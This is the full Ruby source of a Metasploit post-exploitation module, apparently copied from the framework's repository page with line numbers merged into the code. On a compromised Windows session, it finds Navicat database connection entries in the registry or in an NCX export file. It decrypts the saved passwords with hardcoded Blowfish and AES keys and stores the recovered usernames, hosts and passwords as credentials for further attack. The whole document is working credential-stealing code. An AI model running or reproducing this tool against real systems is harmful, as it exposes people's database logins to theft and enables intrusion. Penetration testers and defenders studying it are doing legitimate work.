Path: blob/master/modules/post/windows/gather/credentials/navicat.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3#4# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb5# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb6##78class MetasploitModule < Msf::Post9include Msf::Post::Windows::Registry10include Msf::Post::File11# secret_key = Digest::SHA1.digest('3DC5CA39')12SECRET_KEY = "B\xCE\xB2q\xA5\xE4X\xB7J\xEA\x93\x94y\"5C\x91\x873@".freeze1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Windows Gather Navicat Passwords',19'Description' => %q{ This module will find and decrypt stored Navicat passwords. },20'License' => MSF_LICENSE,21'References' => [22[ 'URL', 'https://github.com/HyperSine/how-does-navicat-encrypt-password'],23[ 'URL', 'https://blog.kali-team.cn/Metasploit-Navicat-fbc1390cf57c40b5b576584c48b8e125']24],25'Author' => [26'HyperSine', # Research and PoC27'Kali-Team <kali-team[at]qq.com>' # MSF module28],29'Platform' => [ 'win' ],30'SessionTypes' => [ 'meterpreter', 'shell'],31'Notes' => {32'Stability' => [CRASH_SAFE],33'Reliability' => [],34'SideEffects' => []35}36)37)38register_options(39[40OptString.new('NCX_PATH', [ false, 'Specify the path of the NCX export file (e.g. connections.ncx).']),41]42)43end4445def blowfish_encrypt(data = "\xFF" * 8)46cipher = OpenSSL::Cipher.new('bf-ecb').encrypt47cipher.padding = 048cipher.key_len = SECRET_KEY.length49cipher.key = SECRET_KEY50cipher.update(data) << cipher.final51end5253def blowfish_decrypt(text)54cipher = OpenSSL::Cipher.new('bf-cbc').decrypt55cipher.padding = 056cipher.key_len = SECRET_KEY.length57cipher.key = SECRET_KEY58cipher.iv = "\x00" * 859cipher.update(text) + cipher.final60end6162def strxor(str, second)63str.bytes.zip(second.bytes).map { |a, b| (a ^ b).chr }.join64end6566def decrypt_navicat11(encrypted_data)67password = ''68return password unless encrypted_data6970iv = blowfish_encrypt71ciphertext = [encrypted_data].pack('H*')72cv = iv73full_round, left_length = ciphertext.length.divmod(8)7475if full_round > 076for i in 0..full_round - 1 do77t = blowfish_decrypt(ciphertext[i * 8, 8])78t = strxor(t, cv)79password += t80cv = strxor(cv, ciphertext[i * 8, 8])81end82end8384if left_length > 085cv = blowfish_encrypt(cv)86test_value = strxor(ciphertext[8 * full_round, left_length], cv[0, left_length])87password += test_value88end8990password91end9293def decrypt_navicat_ncx(ciphertext)94ciphertext = [ciphertext].pack('H*')95aes = OpenSSL::Cipher.new('aes-128-cbc')96aes.decrypt97aes.key = 'libcckeylibcckey'98aes.padding = 099aes.iv = 'libcciv libcciv '100aes.update(ciphertext)101end102103def navicat_store_config(config)104if %i[hostname service_name port username].any? { |e| config[e].blank? } || config[:password].nil?105vprint_warning('Key data is empty, skip saving service credential')106return # If any of these fields are nil or are empty (with the exception of the password field which can be empty),107# then we shouldn't proceed, as we don't have enough info to store a credential which someone could actually108# use against a target.109end110111service_data = {112address: config[:hostname],113port: config[:port],114service_name: config[:service_name],115protocol: 'tcp',116workspace_id: myworkspace_id117}118119credential_data = {120origin_type: :session,121session_id: session_db_id,122post_reference_name: refname,123private_type: :password,124private_data: config[:password],125username: config[:username],126status: Metasploit::Model::Login::Status::UNTRIED127}.merge(service_data)128create_credential_and_login(credential_data)129end130131def parse_xml(data)132mxml = REXML::Document.new(data).root133result = []134mxml.elements.to_a('//Connection').each do |node|135host = node.attributes['Host']136port = node.attributes['Port']137proto = node.attributes['ConnType']138username = node.attributes['UserName']139name = node.attributes['ConnectionName']140epassword = node.attributes['Password']141password = decrypt_navicat_ncx(epassword)142result << {143name: name,144protocol: proto.downcase,145hostname: host,146port: port,147username: username,148password: password || epassword149}150end151print_and_save(result)152return result153end154155def get_reg156reg_keys = Hash.new157158reg_keys['mysql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers'159reg_keys['mariadb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers'160reg_keys['mongodb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers'161reg_keys['mssql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers'162reg_keys['oracle'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers'163reg_keys['postgres'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers'164reg_keys['sqlite'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers'165result = []166reg_keys.each_pair do |db_name, reg_key|167subkeys = registry_enumkeys(reg_key)168next if subkeys.nil?169170subkeys.each do |subkey|171enc_pwd_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Pwd')172next if enc_pwd_value.nil?173174username_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'UserName')175port_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Port')176host_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Host')177178pwd_value = decrypt_navicat11(enc_pwd_value)179result << {180name: subkey,181protocol: db_name,182hostname: host_value,183port: port_value,184username: username_value,185password: pwd_value || enc_pwd_value186}187end188end189print_and_save(result)190return result191end192193def print_and_save(results)194columns = [195'Name',196'Protocol',197'Hostname',198'Port',199'Username',200'Password',201]202tbl = Rex::Text::Table.new(203'Header' => 'Navicat Sessions',204'Columns' => columns205)206results.each do |item|207tbl << item.values208config = {209name: item[:name],210hostname: item[:hostname],211service_name: item[:protocol],212port: item[:port].nil? ? '' : item[:port],213username: item[:username],214password: item[:password]215}216navicat_store_config(config)217end218print_line(tbl.to_s)219if tbl.rows.count > 0220path = store_loot('host.navicat_session', 'text/plain', session, tbl, 'navicat_sessions.txt', 'Navicat Sessions')221print_good("Session info stored in: #{path}")222end223end224225def run226print_status('Gathering Navicat password information.')227if datastore['NCX_PATH'].present?228ncx_path = datastore['NCX_PATH']229print_status("Looking for #{ncx_path}")230begin231if file_exist?(ncx_path)232condata = read_file(ncx_path) || ''233fail_with(Failure::Unknown, "The file #{ncx_path} could not be read") if condata.empty?234235loot_path = store_loot('navicat.creds', 'text/xml', session, condata, ncx_path)236print_good("navicat.ncx saved to #{loot_path}")237parse_xml(condata)238print_status("Finished processing #{ncx_path}")239end240rescue Rex::Post::Meterpreter::RequestError241fail_with(Failure::Unknown, "The file #{ncx_path} either could not be read or does not exist")242end243else244get_reg245print_status('Finished processing from the registry')246end247end248249end250251252